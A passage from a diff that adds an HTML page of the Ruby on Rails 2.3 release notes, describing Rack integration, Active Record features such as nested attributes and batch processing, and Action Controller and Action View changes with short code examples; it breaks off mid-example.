href="#disabled-option-tags-for-form-select-helpers">Disabled Option Tags for Form Select Helpers</a></li> <li><a href="#a-note-about-template-loading">A Note About Template Loading</a></li> <li><a href="#other-action-view-changes">Other Action View Changes</a></li></ul></li><li><a href="#active-support">Active Support</a><ul><li><a href="#object-try">Object#try</a></li> <li><a href="#object-tap-backport">Object#tap Backport</a></li> <li><a href="#swappable-parsers-for-xmlmini">Swappable Parsers for XMLmini</a></li> <li><a href="#fractional-seconds-for-timewithzone">Fractional seconds for TimeWithZone</a></li> <li><a href="#json-key-quoting"><span class="caps">JSON</span> Key Quoting</a></li> <li><a href="#other-active-support-changes">Other Active Support Changes</a></li></ul></li><li><a href="#railties">Railties</a><ul><li><a href="#rails-metal">Rails Metal</a></li> <li><a href="#application-templates">Application Templates</a></li> <li><a href="#quieter-backtraces">Quieter Backtraces</a></li> <li><a href="#faster-boot-time-in-development-mode-with-lazy-loading-autoload">Faster Boot Time in Development Mode with Lazy Loading/Autoload</a></li> <li><a href="#rake-gem-task-rewrite">rake gem Task Rewrite</a></li> <li><a href="#other-railties-changes">Other Railties Changes</a></li></ul></li><li><a href="#deprecated">Deprecated</a></li><li><a href="#credits">Credits</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="application-architecture">1 Application Architecture</h3>
+<p>There are two major changes in the architecture of Rails applications: complete integration of the <a href="http://rack.rubyforge.org/">Rack</a> modular web server interface, and renewed support for Rails Engines.</p>
+<h4 id="rack-integration">1.1 Rack Integration</h4>
+<p>Rails has now broken with its <span class="caps">CGI</span> past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use <span class="caps">CGI</span>, don&#8217;t worry; Rails now supports <span class="caps">CGI</span> through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:</p>
+<ul>
+	<li>Sessions</li>
+	<li>Cookies</li>
+	<li>File uploads</li>
+	<li><span class="caps">JSON</span>/<span class="caps">XML</span> APIs</li>
+</ul>
+<p>Here&#8217;s a summary of the rack-related changes:</p>
+<ul>
+	<li><tt>script/server</tt> has been switched to use Rack, which means it supports any Rack compatible server. <tt>script/server</tt> will also pick up a rackup configuration file if one exists. By default, it will look for a <tt>config.ru</tt> file, but you can override this with the <tt>-c</tt> switch.</li>
+	<li>The <span class="caps">FCGI</span> handler goes through Rack.</li>
+	<li><tt>ActionController::Dispatcher</tt> maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in <tt>environment.rb</tt>.</li>
+	<li>The <tt>rake middleware</tt> task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.</li>
+	<li>The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.</li>
+	<li><tt>ActionController::CGIHandler</tt> is a backwards compatible <span class="caps">CGI</span> wrapper around Rack. The <tt>CGIHandler</tt> is meant to take an old <span class="caps">CGI</span> object and convert its environment information into a Rack compatible form.</li>
+	<li><tt>CgiRequest</tt> and <tt>CgiResponse</tt> have been removed.</li>
+	<li>Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).</li>
+	<li>You no longer need to use <tt>CGI::Cookie.new</tt> in your tests for setting a cookie value. Assigning a <tt>String</tt> value to request.cookies[&#8220;foo&#8221;] now sets the cookie as expected.</li>
+	<li><tt>CGI::Session::CookieStore</tt> has been replaced by <tt>ActionController::Session::CookieStore</tt>.</li>
+	<li><tt>CGI::Session::MemCacheStore</tt> has been replaced by <tt>ActionController::Session::MemCacheStore</tt>.</li>
+	<li><tt>CGI::Session::ActiveRecordStore</tt> has been replaced by <tt>ActiveRecord::SessionStore</tt>.</li>
+	<li>You can still change your session store with <tt>ActionController::Base.session_store = :active_record_store</tt>.</li>
+	<li>Default sessions options are still set with <tt>ActionController::Base.session = { :key => "..." }</tt>. However, the <tt>:session_domain</tt> option has been renamed to <tt>:domain</tt>.</li>
+	<li>The mutex that normally wraps your entire request has been moved into middleware, <tt>ActionController::Lock</tt>.</li>
+	<li><tt>ActionController::AbstractRequest</tt> and <tt>ActionController::Request</tt> have been unified. The new <tt>ActionController::Request</tt> inherits from <tt>Rack::Request</tt>. This affects access to <tt>response.headers['type']</tt> in test requests. Use <tt>response.content_type</tt> instead.</li>
+	<li><tt>ActiveRecord::QueryCache</tt> middleware is automatically inserted onto the middleware stack if <tt>ActiveRecord</tt> has been loaded. This middleware sets up and flushes the per-request Active Record query cache.</li>
+	<li>The Rails router and controller classes follow the Rack spec. You can call a controller directly with <tt>SomeController.call(env)</tt>. The router stores the routing parameters in <tt>rack.routing_args</tt>.</li>
+	<li><tt>ActionController::Request</tt> inherits from <tt>Rack::Request</tt>.</li>
+	<li>Instead of <tt>config.action_controller.session = { :session_key => 'foo', ...</tt> use  <tt>config.action_controller.session = { :key => 'foo', ...</tt>.</li>
+	<li>Using the <tt>ParamsParser</tt> middleware preprocesses any <span class="caps">XML</span>, <span class="caps">JSON</span>, or <span class="caps">YAML</span> requests so they can be read normally with any <tt>Rack::Request</tt> object after it.</li>
+</ul>
+<h4 id="renewed-support-for-rails-engines">1.2 Renewed Support for Rails Engines</h4>
+<p>After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your <tt>routes.rb</tt> file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.</p>
+<h3 id="documentation">2 Documentation</h3>
+<p>The <a href="http://guides.rubyonrails.org/">Ruby on Rails guides</a> project has published several additional guides for Rails 2.3. In addition, a <a href="http://edgeguides.rubyonrails.org/">separate site</a> maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the <a href="http://newwiki.rubyonrails.org/">Rails wiki</a> and early planning for a Rails Book.</p>
+<ul>
+	<li>More Information: <a href="http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects">Rails Documentation Projects</a>.</li>
+</ul>
+<h3 id="ruby-1-9-1-support">3 Ruby 1.9.1 Support</h3>
+<p>Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.</p>
+<h3 id="active-record">4 Active Record</h3>
+<p>Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.</p>
+<h4 id="nested-attributes">4.1 Nested Attributes</h4>
+<p>Active Record can now update the attributes on nested models directly, provided you tell it to do so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Book &lt; ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+</pre>
+</div>
+</notextile>
+
+<p>Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).</p>
+<p>You can also specify requirements for any new records that are added via nested attributes using the <tt>:reject_if</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+accepts_nested_attributes_for :author,
+  :reject_if =&gt; proc { |attributes| attributes['name'].blank? }
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://superalloy.nl/">Eloy Duran</a></li>
+	<li>More Information: <a href="http://weblog.rubyonrails.org/2009/1/26/nested-model-forms">Nested Model Forms</a></li>
+</ul>
+<h4 id="nested-transactions">4.2 Nested Transactions</h4>
+<p>Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.transaction do
+    User.create(:username =&gt; 'Admin')
+    User.transaction(:requires_new =&gt; true) do
+      User.create(:username =&gt; 'Regular')
+      raise ActiveRecord::Rollback
+    end
+  end
+
+  User.find(:all)  # =&gt; Returns only Admin
+</pre>
+</div>
+</notextile>
+
+<p>Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the <tt>:requires_new</tt> option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are <a href="http://rails.lighthouseapp.com/projects/8994/tickets/383">using savepoints</a>, so they&#8217;re supported even on databases that don&#8217;t have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.</p>
+<ul>
+	<li>Lead Contributors: <a href="http://www.workingwithrails.com/person/4985-jonathan-viney">Jonathan Viney</a> and <a href="http://izumi.plan99.net/blog/">Hongli Lai</a></li>
+</ul>
+<h4 id="dynamic-scopes">4.3 Dynamic Scopes</h4>
+<p>You know about dynamic finders in Rails (which allow you to concoct methods like <tt>find_by_color_and_flavor</tt> on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like <tt>currently_active</tt>). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly <em>and</em> method chaining. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions =&gt; &quot;status = 'open'&quot;)
+Order.scoped_by_customer_id(12).scoped_by_status(&quot;open&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>There&#8217;s nothing to define to use dynamic scopes: they just work.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://evilmartians.com/">Yaroslav Markin</a></li>
+	<li>More Information: <a href="http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods">What&#8217;s New in Edge Rails: Dynamic Scope Methods</a>.</li>
+</ul>
+<h4 id="default-scopes">4.4 Default Scopes</h4>
+<p>Rails 2.3 will introduce the notion of <em>default scopes</em> similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write <tt>default_scope :order => 'name ASC'</tt> and any time you retrieve records from that model they&#8217;ll come out sorted by name (unless you override the option, of course).</p>
+<ul>
+	<li>Lead Contributor: Paweล‚ Kondzior</li>
+	<li>More Information: <a href="http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping">What&#8217;s New in Edge Rails: Default Scoping</a></li>
+</ul>
+<h4 id="batch-processing">4.5 Batch Processing</h4>
+<p>You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using <tt>find_in_batches</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Customer.find_in_batches(:conditions =&gt; {:active =&gt; true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can pass most of the <tt>find</tt> options into <tt>find_in_batches</tt>. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the <tt>:limit</tt> option. Instead, use the <tt>:batch_size</tt> option, which defaults to 1000, to set the number of records that will be returned in each batch.</p>
+<p>The new <tt>find_each</tt> method provides a wrapper around <tt>find_in_batches</tt> that returns individual records, with the find itself being done in batches (of 1000 by default):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.</p>
+<ul>
+	<li>More Information (at that point the convenience method was called just <tt>each</tt>):
+	<ul>
+		<li><a href="http://afreshcup.com/2009/02/23/rails-23-batch-finding/">Rails 2.3: Batch Finding</a></li>
+		<li><a href="http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find">What&#8217;s New in Edge Rails: Batched Find</a></li>
+	</ul></li>
+</ul>
+<h4 id="multiple-conditions-for-callbacks">4.6 Multiple Conditions for Callbacks</h4>
+<p>When using Active Record callbacks, you can now combine <tt>:if</tt> and <tt>:unless</tt> options on the same callback, and supply multiple conditions as an array:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+before_save :update_credit_rating, :if =&gt; :active,
+  :unless =&gt; [:admin, :cash_only]
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: L. Caviola</li>
+</ul>
+<h4 id="find-with-having">4.7 Find with having</h4>
+<p>Rails now has a <tt>:having</tt> option on find (as well as on <tt>has_many</tt> and <tt>has_and_belongs_to_many</tt> associations) for filtering records in grouped finds. As those with heavy <span class="caps">SQL</span> backgrounds know, this allows filtering based on grouped results:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+developers =  Developer.find(:all, :group =&gt; &quot;salary&quot;,
+  :having =&gt; &quot;sum(salary) &gt;  10000&quot;, :select =&gt; &quot;salary&quot;)
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://github.com/miloops">Emilio Tagua</a></li>
+</ul>
+<h4 id="reconnecting-mysql-connections">4.8 Reconnecting MySQL Connections</h4>
+<p>MySQL supports a reconnect flag in its connections &#8211; if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set <tt>reconnect = true</tt> for your MySQL connections in <tt>database.yml</tt> to get this behavior from a Rails application. The default is <tt>false</tt>, so the behavior of existing applications doesn&#8217;t change.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://twitter.com/dubek">Dov Murik</a></li>
+	<li>More information:
+	<ul>
+		<li><a href="http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html">Controlling Automatic Reconnection Behavior</a></li>
+		<li><a href="http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4">MySQL auto-reconnect revisited</a></li>
+	</ul></li>
+</ul>
+<h4 id="other-active-record-changes">4.9 Other Active Record Changes</h4>
+<ul>
+	<li>An extra <tt>AS</tt> was removed from the generated <span class="caps">SQL</span> for <tt>has_and_belongs_to_many</tt> preloading, making it work better for some databases.</li>
+	<li><tt>ActiveRecord::Base#new_record?</tt> now returns <tt>false</tt> rather than <tt>nil</tt> when confronted with an existing record.</li>
+	<li>A bug in quoting table names in some <tt>has_many :through</tt> associations was fixed.</li>
+	<li>You can now specify a particular timestamp for <tt>updated_at</tt> timestamps: <tt>cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)</tt></li>
+	<li>Better error messages on failed <tt>find_by_attribute!</tt> calls.</li>
+	<li>Active Record&#8217;s <tt>to_xml</tt> support gets just a little bit more flexible with the addition of a <tt>:camelize</tt> option.</li>
+	<li>A bug in canceling callbacks from <tt>before_update</tt> or <tt>before_create</tt> was fixed.</li>
+	<li>Rake tasks for testing databases via <span class="caps">JDBC</span> have been added.</li>
+	<li><tt>validates_length_of</tt> will use a custom error message with the <tt>:in</tt> or <tt>:within</tt> options (if one is supplied).</li>
+	<li>Counts on scoped selects now work properly, so you can do things like <tt>Account.scoped(:select => "DISTINCT credit_limit").count</tt>.</li>
+	<li><tt>ActiveRecord::Base#invalid?</tt> now works as the opposite of <tt>ActiveRecord::Base#valid?</tt>.</li>
+</ul>
+<h3 id="action-controller">5 Action Controller</h3>
+<p>Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.</p>
+<h4 id="unified-rendering">5.1 Unified Rendering</h4>
+<p><tt>ActionController::Base#render</tt> is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :file =&gt; '/tmp/random_file.erb'
+render :template =&gt; 'other_controller/action'
+render :action =&gt; 'show'
+</pre>
+</div>
+</notextile>
+
+<p>Now in Rails 2.3, you can just supply what you want to render:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+</pre>
+</div>
+</notextile>
+
+<p>Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what&#8217;s to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (<tt>:inline</tt>, <tt>:text</tt>, <tt>:update</tt>, <tt>:nothing</tt>, <tt>:json</tt>, <tt>:xml</tt>, <tt>:js</tt>) still require an explicit option.</p>
+<h4 id="application-controller-renamed">5.2 Application Controller Renamed</h4>
+<p>If you&#8217;re one of the people who has always been bothered by the special-case naming of <tt>application.rb</tt>, rejoice! It&#8217;s been reworked to be application_controller.rb in Rails 2.3. In addition, there&#8217;s a new rake task, <tt>rake rails:update:application_controller</tt> to do this automatically for you &#8211; and it will be run as part of the normal <tt>rake rails:update</tt> process.</p>
+<ul>
+	<li>More Information:
+	<ul>
+		<li><a href="http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/">The Death of Application.rb</a></li>
+		<li><a href="http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more">What&#8217;s New in Edge Rails: Application.rb Duality is no More</a></li>
+	</ul></li>
+</ul>
+<h4 id="http-digest-authentication-support">5.3 <span class="caps">HTTP</span> Digest Authentication Support</h4>
+<p>Rails now has built-in support for <span class="caps">HTTP</span> digest authentication. To use it, you call <tt>authenticate_or_request_with_http_digest</tt> with a block that returns the userโ€™s password (which is then hashed and compared against the transmitted credentials):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PostsController &lt; ApplicationController
+  Users = {&quot;dhh&quot; =&gt; &quot;secret&quot;}
+  before_filter :authenticate
+
+  def secret
+    render :text =&gt; &quot;Password Required!&quot;
+  end
+
+  private
+  def authenticate
+    realm = &quot;Application&quot;
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://www.kellogg-assoc.com/">Gregg Kellogg</a></li>
+	<li>More Information: <a href="http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication">What&#8217;s New in Edge Rails: <span class="caps">HTTP</span> Digest Authentication</a></li>
+</ul>
+<h4 id="more-efficient-routing">5.4 More Efficient Routing</h4>
+<p>There are a couple of significant routing changes in Rails 2.3. The <tt>formatted_</tt> route helpers are gone, in favor just passing in <tt>:format</tt> as an option. This cuts down the route generation process by 50% for any resource &#8211; and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the <tt>formatted_</tt> helpers, it will still work for the time being &#8211; but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just <tt>routes.rb</tt>. You can use <tt>RouteSet#add_configuration_file</tt> to bring in more routes at any time &#8211; without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.</p>
+<ul>
+	<li>Lead Contributors: <a href="http://blog.hungrymachine.com/">Aaron Batalion</a></li>
+</ul>
+<h4 id="rack-based-lazy-loaded-sessions">5.5 Rack-based Lazy-loaded Sessions</h4>
+<p>A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old <span class="caps">CGI</span> session handler got removed). It&#8217;s still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don&#8217;t want them; just don&#8217;t refer to them and they won&#8217;t load.</p>
+<h4 id="mime-type-handling-changes">5.6 <span class="caps">MIME</span> Type Handling Changes</h4>
+<p>There are a couple of changes to the code for handling <span class="caps">MIME</span> types in Rails. First, <tt>MIME::Type</tt> now implements the <tt>=~</tt> operator, making things much cleaner when you need to check for the presence of a type that has synonyms:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+if content_type &amp;&amp; Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ &quot;text/javascript&quot;        =&gt; true
+Mime::JS =~ &quot;application/javascript&quot; =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>The other change is that the framework now uses the <tt>Mime::JS</tt> when checking for javascript in various spots, making it handle those alternatives cleanly.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://www.workingwithrails.com/person/5510-seth-fitzsimmons">Seth Fitzsimmons</a></li>
+</ul>
+<h4 id="optimization-of-respond_to">5.7 Optimization of <tt>respond_to</tt></h4>
+<p>In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the <tt>respond_to</tt> method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the <span class="caps">MIME</span> type of the incoming request. After eliminating a call to <tt>method_missing</tt> and some profiling and tweaking, we&#8217;re seeing an 8% improvement in the number of requests per second served with a simple <tt>respond_to</tt> that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.</p>
+<h4 id="improved-caching-performance">5.8 Improved Caching Performance</h4>
+<p>Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to <tt>MemCacheStore</tt>, it is available to any remote store than implements the required methods.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://www.motionstandingstill.com/">Nahum Wild</a></li>
+</ul>
+<h4 id="localized-views">5.9 Localized Views</h4>
+<p>Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a <tt>Posts</tt> controller with a <tt>show</tt> action. By default, this will render <tt>app/views/posts/show.html.erb</tt>. But if you set <tt>I18n.locale = :da</tt>, it will render <tt>app/views/posts/show.da.html.erb</tt>. If the localized template isn&#8217;t present, the undecorated version will be used. Rails also includes <tt>I18n#available_locales</tt> and <tt>I18n::SimpleBackend#available_locales</tt>, which return an array of the translations that are available in the current Rails project.</p>
+<p>In addition, you can use the same scheme to localize the rescue files in the <tt>public</tt> directory: <tt>public/500.da.html</tt> or <tt>public/404.en.html</tt> work, for example.</p>
+<h4 id="partial-scoping-for-translations">5.10 Partial Scoping for Translations</h4>
+<p>A change to the translation <span class="caps">API</span> makes things easier and less repetitive to write key translations within partials. If you call <tt>translate(".foo")</tt> from the <tt>people/index.html.erb</tt> template, you&#8217;ll actually be calling <tt>I18n.translate("people.index.foo")</tt> If you don&#8217;t prepend the key with a period, then the <span class="caps">API</span> doesn&#8217;t scope, just as before.</p>
+<h4 id="other-action-controller-changes">5.11 Other Action Controller Changes</h4>
+<ul>
+	<li>ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there&#8217;s no body to the response or when sending files with <tt>send_file</tt>.</li>
+	<li>The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don&#8217;t generally set things up right. If that&#8217;s you, you can now set <tt>ActionController::Base.ip_spoofing_check = false</tt> to disable the check entirely.</li>
+	<li><tt>ActionController::Dispatcher</tt> now implements its own middleware stack, which you can see by running <tt>rake middleware</tt>.</li>
+	<li>Cookie sessions now have persistent session identifiers, with <span class="caps">API</span> compatibility with the server-side stores.</li>
+	<li>You can now use symbols for the <tt>:type</tt> option of <tt>send_file</tt> and <tt>send_data</tt>, like this: <tt>send_file("fabulous.png", :type => :png)</tt>.</li>
+	<li>The <tt>:only</tt> and <tt>:except</tt> options for <tt>map.resources</tt> are no longer inherited by nested resources.</li>
+	<li>The bundled memcached client has been updated to version 1.6.4.99.</li>
+	<li>The <tt>expires_in</tt>, <tt>stale?</tt>, and <tt>fresh_when</tt> methods now accept a <tt>:public</tt> option to make them work well with proxy caching.</li>
+	<li>The <tt>:requirements</tt> option now works properly with additional RESTful member routes.</li>
+	<li>Shallow routes now properly respect namespaces.</li>
+	<li><tt>polymorphic_url</tt> does a better job of handling objects with irregular plural names.</li>
+</ul>
+<h3 id="action-view">6 Action View</h3>
+<p>Action View in Rails 2.3 picks up nested model forms, improvements to <tt>render</tt>, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.</p>
+<h4 id="nested-object-forms">6.1 Nested Object Forms</h4>
+<p>Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using <tt>form_for</tt> and <tt>field_for</tt>. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can write this view in Rails 2.3:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% form_for @customer do |customer_form| %&gt;
+  &lt;div&gt;
+    &lt;%= customer_form.label :name, 'Customer Name:' %&gt;
+    &lt;%= customer_form.text_field :name %&gt;
+  &lt;/div&gt;
+
+  &lt;!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. --&gt;
+  &lt;% customer_form.fields_for :orders do |order_form| %&gt;
+    &lt;p&gt;
+      &lt;div&gt;
+        &lt;%= order_form.label :number, 'Order Number:' %&gt;
+        &lt;%= order_form.text_field :number %&gt;
+      &lt;/div&gt;
+
+  &lt;!-- The allow_destroy option in the model enables deletion of
+   child records. --&gt;
+      &lt;% unless order_form.object.new_record? %&gt;
+        &lt;div&gt;
+          &lt;%= order_form.label :_delete, 'Remove:' %&gt;
+          &lt;%= order_form.check_box :_delete %&gt;
+        &lt;/div&gt;
+      &lt;% end %&gt;
+    &lt;/p&gt;
+  &lt;% end %&gt;
+
+  &lt;%= customer_form.submit %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://superalloy.nl/">Eloy Duran</a></li>
+	<li>More Information:
+	<ul>
+		<li><a href="http://weblog.rubyonrails.org/2009/1/26/nested-model-forms">Nested Model Forms</a></li>
+		<li><a href="http://github.com/alloy/complex-form-examples">complex-form-examples</a></li>
+		<li><a href="http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes">What&#8217;s New in Edge Rails: Nested Object Forms</a></li>
+	</ul></li>
+</ul>
+<h4 id="smart-rendering-of-partials">6.2 Smart Rendering of Partials</h4>
+<p>The render method has been getting smarter over the years, and it&#8217;s even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Equivalent of render :partial =&gt; 'articles/_article',
+# :object =&gt; @article
+render @article
+
+# Equivalent of render :partial =&gt; 'articles/_article',
+# :collection =&gt; @articles
+render @articles
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>More Information: <a href="http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance">What&#8217;s New in Edge Rails: render Stops Being High-Maintenance</a></li>
+</ul>
+<h4 id="prompts-for-date-select-helpers">6.3 Prompts for Date Select Helpers</h4>
+<p>In Rails 2.3, you can supply custom prompts for the various date select helpers (<tt>date_select</tt>, <tt>time_select</tt>, and <tt>datetime_select</tt>), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set <tt>:prompt</tt> to <tt>true</tt> to use the custom generic prompt:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+select_datetime(DateTime.now, :prompt =&gt; true)
+
+select_datetime(DateTime.now, :prompt =&gt; &quot;Choose date and time&quot;)
+
+select_datetime(DateTime.now, :prompt =&gt;
+  {:day =&gt; 'Choose day', :month =&gt; 'Choose month',
+   :year =&gt; 'Choose year', :hour =&gt; 'Choose hour',
+   :minute =&gt; 'Choose minute'})
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://samoliver.com/">Sam Oliver</a></li>
+</ul>
+<h4 id="assettag-timestamp-caching">6.4 AssetTag Timestamp Caching</h4>
+<p>You&#8217;re likely familiar with Rails&#8217; practice of adding timestamps to static asset paths as a &#8220;cache buster.&#8221; This helps ensure that stale copies of things like images and stylesheets don&#8217;t get served out of the user&#8217;s browser cache when you change them on the server. You can now modify this behavior with the <tt>cache_asset_timestamps</tt> configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets &#8211; but it also means that you can&#8217;t modify any of the assets while the server is running and expect the changes to get picked up by clients.</p>
+<h4 id="asset-hosts-as-objects">6.5 Asset Hosts as Objects</h4>
+<p>Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting.</p>
+<ul>
+	<li>More Information: <a href="http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master">asset-hosting-with-minimum-ssl</a></li>
+</ul>
+<h4 id="grouped_options_for_select-helper-method">6.6 grouped_options_for_select Helper Method</h4>
+<p>Action View already had a bunch of helpers to aid in generating select controls, but now there&#8217;s one more: <tt>grouped_options_for_select</tt>. This one accepts an array or hash of strings, and converts them into a string of <tt>option</tt> tags wrapped with <tt>optgroup</tt> tags. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+grouped_options_for_select([[&quot;Hats&quot;, [&quot;Baseball Cap&quot;,&quot;Cowboy Hat&quot;]]],
